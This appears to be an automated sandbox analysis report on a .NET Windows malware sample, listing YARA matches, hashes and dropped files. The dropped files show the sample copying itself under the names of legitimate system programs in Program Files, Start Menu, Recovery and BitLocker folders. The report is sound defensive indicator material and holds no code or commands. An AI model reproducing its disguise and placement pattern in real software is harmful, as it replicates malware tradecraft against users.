Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\upfc.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Queries volume information: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe VolumeInformation
Source: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Queries volume information: C:\Users\user\Desktop\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe VolumeInformation
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe VolumeInformation
Source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe VolumeInformation

Source: Yara match	File source: 00000011.00000002.2485222023.00000000034FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1308539663.0000000012A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2485222023.000000000378E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2485222023.0000000003076000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe PID: 7704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: upfc.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: upfc.exe PID: 6764, type: MEMORYSTR

Source: Yara match	File source: 62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe, type: SAMPLE
Source: Yara match	File source: 0.0.62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1240706650.00000000003B2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\upfc.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\llflCdrMcgGB.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\llflCdrMcgGB.exe, type: DROPPED

ID:	1467031
Product:	CloudBasic
Start time:	16:41:09
Start date:	03.07.2024
Sample:	62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	6667f954763eeacf7effcf5a5c25e695
SHA1:	6db1fba1cd1181b921cdadeba24c69cd680be825
SHA256:	62b1bf60394248d2c743ec6df0935d58e5009c9e04aab52da72ad712a57597b4
Filetype:	Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Name	Type	MD5	SHA1	SHA256
C:\Program Files (x86)\Java\jre-1.8\ea1d8f6d871115	ASCII text, with no line terminators	B9A2A12C63F87F9BAB05FE1BA859AEEF	E9F38EE202F6975E13BA61F94ADE174813047448	D7009E1F0F4685A88D69A253EF611052E646FDB430390C9DB53E22AD468AEF51
C:\Program Files (x86)\Java\jre-1.8\upfc.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	6667F954763EEACF7EFFCF5A5C25E695	6DB1FBA1CD1181B921CDADEBA24C69CD680BE825	62B1BF60394248D2C743EC6DF0935D58E5009C9E04AAB52DA72AD712A57597B4
C:\Program Files (x86)\Java\jre-1.8\upfc.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Program Files (x86)\Microsoft\Edge\Application\CSC76655AD3B5B14A58A99CB3ECAE1D1A90.TMP	MSVC .res	B5189FB271BE514BEC128E0D0809C04E	5DD625D27ED30FCA234EC097AD66F6C13A7EDCBE	E1984BA1E3FF8B071F7A320A6F1F18E1D5F4F337D31DC30D5BDFB021DF39060F
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	707BBE530438ABD168AC55A01E36E76A	FEF3C858D781FB0749A426E008820C6E90570B16	27712AB94F0571F97AFEEFB59EBA8708015D956D811DC4B0CCEEA74DAD43B806
C:\Program Files\7-Zip\Lang\ea1d8f6d871115	ASCII text, with very long lines (910), with no line terminators	3A3D7869D8944FFFB319B9BB32F08710	C30671C1F0F3DB0220F467D0B62BCEF9FB4A14E9	B1D0F5C991BA5CDA6D316EC07F3400DD04518DB29E0784544CAD0C8D4A30429D
C:\Program Files\7-Zip\Lang\upfc.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	6667F954763EEACF7EFFCF5A5C25E695	6DB1FBA1CD1181B921CDADEBA24C69CD680BE825	62B1BF60394248D2C743EC6DF0935D58E5009C9E04AAB52DA72AD712A57597B4
C:\Program Files\7-Zip\Lang\upfc.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\ProgramData\Microsoft\Windows\Start Menu\55b276f4edf653	ASCII text, with no line terminators	9218D670D3C592AF326D0042E5FCE7D1	5F1CD4F2D18BBD970261FC2623F6332405783EF4	54BA74B6170231CE6EA9C2B26DF856F314450C39689230C995985DEE886CC0AA
C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	6667F954763EEACF7EFFCF5A5C25E695	6DB1FBA1CD1181B921CDADEBA24C69CD680BE825	62B1BF60394248D2C743EC6DF0935D58E5009C9E04AAB52DA72AD712A57597B4
C:\ProgramData\Microsoft\Windows\Start Menu\StartMenuExperienceHost.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Recovery\b83e72d5c7bd2d	ASCII text, with no line terminators	95A825812FCA20220C502331B5BCB0B9	CC558E599AB014B2436C84E3DF7DD35FFDEA39C2	0E2C1866BF7CD157550C9D4FA94AC29FA1E70DF04BB361279E51CE32A6E587B7
C:\Recovery\llflCdrMcgGB.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	6667F954763EEACF7EFFCF5A5C25E695	6DB1FBA1CD1181B921CDADEBA24C69CD680BE825	62B1BF60394248D2C743EC6DF0935D58E5009C9E04AAB52DA72AD712A57597B4
C:\Recovery\llflCdrMcgGB.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe.log	ASCII text, with CRLF line terminators	EBB3E33FCCEC5303477CB59FA0916A28	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\StartMenuExperienceHost.exe.log	CSV text	9F9FA9EFE67E9BBD165432FA39813EEA	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\llflCdrMcgGB.exe.log	CSV text	9F9FA9EFE67E9BBD165432FA39813EEA	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\upfc.exe.log	CSV text	9F9FA9EFE67E9BBD165432FA39813EEA	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
C:\Users\user\AppData\Local\Temp\9xoH1rvGc8	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3	05A60B4620923FD5D53B9204391452AF	DC12F90925033F25C70A720E01D5F8666D0B46E4	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
C:\Users\user\AppData\Local\Temp\EERJVmti7C	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3	369B6DD66F1CAD49D0952C40FEB9AD41	D05B2DE29433FB113EC4C558FF33087ED7481DD4	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
C:\Users\user\AppData\Local\Temp\FPVtplfwjV	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1	9E68EA772705B5EC0C83C2A97BB26324	243128040256A9112CEAC269D56AD6B21061FF80	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
C:\Users\user\AppData\Local\Temp\G1fqHlPR84	ASCII text, with no line terminators	5204A3BD7B852D5DF58EC915CB513C8F	20B9478191B6864D73205237CD923A1B17C561EB	1C17E2095471A1AE2C56653F703726851D1E375CEFFF6F9F732A51FD32C25107
C:\Users\user\AppData\Local\Temp\GuaAEdheNO	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1	28222628A3465C5F0D4B28F70F97F482	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
C:\Users\user\AppData\Local\Temp\Ld3wQv6XcO	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3	9A534FD57BED1D3E9815232E05CCF696	916474D7D073A4EB52A2EF8F7D9EF9549C0808A1	7BB87D8BC8D49EECAB122B7F5BCD9E77F77B36C6DB173CB41E83A2CCA3AC391B
C:\Users\user\AppData\Local\Temp\Lf13SaWgTu	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4	D0962B221779A756754334848DCFF184	22CD3B9D687216E6921553F55958449CE7ABF05D	7BA5110096912E6B352060FFF79B07EA95CA114A13D3994D7814831DFAA649B8
C:\Users\user\AppData\Local\Temp\Lz8GlOhUbo	ASCII text, with no line terminators	BB9A3F21D31AFF2EFB86C5B343D35C9C	EB6FFDA68A0282546D0B3E3EDB9DF2D2BF15945A	B54C8ECC5F77920FAC3666322D4DE2C381F584BF898984B7983ACF7B70EF6DE3
C:\Users\user\AppData\Local\Temp\RESD41E.tmp	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6cc, 10 symbols, created Wed Jul 3 15:44:08 2024, 1st section name ".debug$S"	8C7636409261831400DB4078DBAEAB8A	E4E4C58E19C93286F58C36FB2E68CCDC8D90A299	6ED3B8B8D7CF04FEE59438F7FBA84F382635A8598C5740EC9741BD85861353F8
C:\Users\user\AppData\Local\Temp\RESD631.tmp	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6e4, 10 symbols, created Wed Jul 3 15:44:09 2024, 1st section name ".debug$S"	324CA34E251CEC60B063388454EFEC3C	16793ECC8FA72014BBCAFDD7B7DB98A6BD67330A	D12313FCE202E5F5F9CD8BA278C5D0AAE3C1B4C98029C8E4E3A38FD1F96CDDCA
C:\Users\user\AppData\Local\Temp\RQxNQiaB3w	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3	9A534FD57BED1D3E9815232E05CCF696	916474D7D073A4EB52A2EF8F7D9EF9549C0808A1	7BB87D8BC8D49EECAB122B7F5BCD9E77F77B36C6DB173CB41E83A2CCA3AC391B
C:\Users\user\AppData\Local\Temp\S4JgYSVqKb	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3	9F6D153D934BCC50E8BC57E7014B201A	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
C:\Users\user\AppData\Local\Temp\Ul0yixeSy1	ASCII text, with no line terminators	AEBF90D979165F93607E84D66D943BE2	279594DF27EEA6D9DE50A9F2618C50409DF106E9	C010A3BF6D6310E41FFC8DC7745755BDA76475C95E6E4D9943E6F4B3F0E9A5A5
C:\Users\user\AppData\Local\Temp\WAeZ9wWpbS.bat	DOS batch file, ASCII text, with CRLF line terminators	6292538CD0390751F01DBB25BBBE6FB8	2A2458FFD385A519B1F16B145BBAD056375B7867	AB2CA8EEBA376303306E6371264CBCCAB03D113A318B5B3B3D5330097148997B
C:\Users\user\AppData\Local\Temp\XRbfGtKxff	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1	28222628A3465C5F0D4B28F70F97F482	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
C:\Users\user\AppData\Local\Temp\k1wttop3\k1wttop3.0.cs	C++ source, Unicode text, UTF-8 (with BOM) text	9CDCDA8140C021A4111C513222BFB45C	65DF9B55815F7CFCAE35F6A20F078D83B5F627ED	A3C3FE34EB6303790DA3A42F79FF7388459261A8A5AE4424E70E601AAB1A6E8D
C:\Users\user\AppData\Local\Temp\k1wttop3\k1wttop3.cmdline	Unicode text, UTF-8 (with BOM) text, with no line terminators	6022CBCE8F940E0230CC9CB93716B1A9	B416FD36CF8C905C68E68FBCE072C27D0ABECB1B	705275B16EF325992CF229228B5DDDE47C9EEB035A3837375E22094D46159B49
C:\Users\user\AppData\Local\Temp\k1wttop3\k1wttop3.out	Unicode text, UTF-8 (with BOM) text, with very long lines (327), with CRLF, CR line terminators	B0DE2746A69CD866DB1EF4789ED29EB1	008FC96FEB35C23E1B45B2654DA3E128DAEBB3ED	BA78FA50ED918F94469C84B7A4991F4BCFC2262FB272A7F680EFF7E896B0EED8
C:\Users\user\AppData\Local\Temp\pb5w2chy\pb5w2chy.0.cs	C++ source, Unicode text, UTF-8 (with BOM) text	127E081305B5557B461A5ABD453CBC45	252934F3031FDBDB598A08EA6FDA6647D1C6549C	EED7888AEFD2B8B15805860ED65F868D0340F4DDF7C5B422DC302253D81395FF
C:\Users\user\AppData\Local\Temp\pb5w2chy\pb5w2chy.cmdline	Unicode text, UTF-8 (with BOM) text, with no line terminators	5592B8161E80E517A30EB9C6A2246020	E9906A66D3B28B1781C33C805D35120F7D1100FF	481060751A51201CEFBEEB3FB7F91C3F4A72C4D18728F54E5C0A40D86264A184
C:\Users\user\AppData\Local\Temp\pb5w2chy\pb5w2chy.out	Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF, CR line terminators	7592B67A8F4D0E51C6779955225BD3F7	62001AE0D2B19D39671A7CF0E9268638D7A658BD	72C6235E9AB864FECB36CBF01DF06DF6C7D61F47F008F22E25BA331B20709877
C:\Users\user\AppData\Local\Temp\qZrUVSx8Oj	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7	0AB67F0950F46216D5590A6A41A267C7	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
C:\Users\user\AppData\Local\Temp\tfVhKC50lX.bat	DOS batch file, ASCII text, with CRLF line terminators	57A1892F3CFC550F82C9A1843F4C4A16	C398FCFEC76CCF34878B1327FB9B692C11E0ABB4	8A5CB274EFF4ACA287BD06C0A28C34DF6CB3E2AC1D870EC1888798F472EBCC18
C:\Users\user\AppData\Local\Temp\vbwUCvifDl	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7	0AB67F0950F46216D5590A6A41A267C7	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
C:\Users\user\AppData\Local\Temp\yc70I5nJH6	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7	CFFF4E2B77FC5A18AB6323AF9BF95339	3AA2C2115A8EB4516049600E8832E9BFFE0C2412	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
C:\Users\user\Desktop\AHphtSeX.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	0B2AFABFAF0DD55AD21AC76FBF03B8A0	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
C:\Users\user\Desktop\CUcqaUVf.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	D8BF2A0481C0A17A634D066A711C12E9	7CC01A58831ED109F85B64FE4920278CEDF3E38D	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
C:\Users\user\Desktop\FUSHtkHk.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	F4B38D0F95B7E844DD288B441EBC9AAF	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
C:\Users\user\Desktop\PDlWdMMS.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	E9CE850DB4350471A62CC24ACB83E859	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
C:\Users\user\Desktop\YPnuykix.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	D8BF2A0481C0A17A634D066A711C12E9	7CC01A58831ED109F85B64FE4920278CEDF3E38D	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
C:\Users\user\Desktop\c397ed2d1437c4	ASCII text, with very long lines (652), with no line terminators	1B11DF9C72C40FD49F82A05D1002AD87	590722226D520034A8FC0115D930D6D9A5E758F9	BEB50F81A4CECB61869AF5A72BE431C5E991B93DCA8F73CDD263D7A419743B70
C:\Users\user\Desktop\jjSkKJFG.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	F4B38D0F95B7E844DD288B441EBC9AAF	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
C:\Users\user\Desktop\rUKsZmvt.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	E9CE850DB4350471A62CC24ACB83E859	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
C:\Users\user\Desktop\wlyrJHCD.log	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	0B2AFABFAF0DD55AD21AC76FBF03B8A0	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
C:\Windows\BitLockerDiscoveryVolumeContents\b83e72d5c7bd2d	ASCII text, with very long lines (415), with no line terminators	65D0F4B9D7197D520D51E71C163593F6	9DFE10EFC3ECEA18C016374B2FBD11079AD43EAA	E2927C9DB71F744188D22E826363A733B94116677BC7DAE477247729A31D36E6
C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	6667F954763EEACF7EFFCF5A5C25E695	6DB1FBA1CD1181B921CDADEBA24C69CD680BE825	62B1BF60394248D2C743EC6DF0935D58E5009C9E04AAB52DA72AD712A57597B4
C:\Windows\BitLockerDiscoveryVolumeContents\llflCdrMcgGB.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Windows\System32\CSC9D0BE8EB87641DFA2B4851BB05AFB2.TMP	MSVC .res	931E1E72E561761F8A74F57989D1EA0A	B66268B9D02EC855EB91A5018C43049B4458AB16	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
C:\Windows\System32\SecurityHealthSystray.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	9DC83209265291CA0D61FF47F91EF4B8	98C31EC5FEDAF9C7FB950BBF7A003E41AADF639C	BC8003D2321DC53E628892D127245BB55B97F86DA1AB5202F0A712F9C574C5B2
\Device\Null	ASCII text	65D28B404CF428B414F45E120C517360	7CCE7561153827DD1C98B2F865C3410057A23D54	CCF0373F9B6D58CA9DB3D1AF833149E3A6BF149FA699F8F03EC8FF2E24B2E9DE